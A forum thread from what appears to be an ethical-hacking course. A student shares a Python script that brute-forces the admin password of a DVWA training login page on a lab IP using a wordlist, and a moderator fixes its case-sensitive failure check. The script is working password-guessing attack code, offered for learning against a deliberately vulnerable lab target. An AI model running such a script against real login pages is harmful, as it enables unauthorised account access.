- This topic has 6 replies, 2 voices, and was last updated 4 years, 4 months ago by Diego Pérez.
- AuthorPosts
- June 27, 2020 at 4:11 am #40828Hassan AswadParticipant
Hello,
i have a problem with the GUEST LOGIN program. when i give it the wordlist to guess the password. the program doesn’t show me the real password, its show me the first guess on the wordlist. I tryed the programe on the same website as showing in the course. thank youJune 28, 2020 at 3:53 am #40886Diego PérezModeratorHi!
Can you share your code please?Remember to use the “code” button so I can read your code with the proper identation.
Thanks!
DiegoJune 28, 2020 at 3:57 am #40887Hassan AswadParticipant`#!/usr/bin/env python
import requeststarget_url = “http://10.0.2.5/dvwa/login.php”
data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict[“password”] = word
response = requests.post(target_url, data=data_dict)
if “login failed” not in response.content:
print(“[+] Got the password –> ” + word)
exit()
print(“[-] Try again!”)
June 28, 2020 at 4:08 am #40891Hassan AswadParticipant#!/usr/bin/env python
import requeststarget_url = “http://10.0.2.5/dvwa/login.php”
data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
for line in wordlist_file:
`word = line.strip()
`data_dict[“password”] = word
`response = requests.post(target_url, data=data_dict)
`if “login failed” not in response.content:
print(“[+] Got the password –> ” + word)
exit()
print(“[-] Try again!”)
June 29, 2020 at 6:06 am #40960Diego PérezModeratorHi!
In this code line:
if “login failed” not in response.content:You have to write “Login Failed” with the proper capital letters.
Let me know how it goes!
DiegoJune 29, 2020 at 8:10 pm #41016Hassan AswadParticipantYes problem solved Thank you
June 30, 2020 at 3:52 am #41047Diego PérezModeratorHi!
Cool you got it!
Diego - AuthorPosts
- You must be logged in to reply to this topic.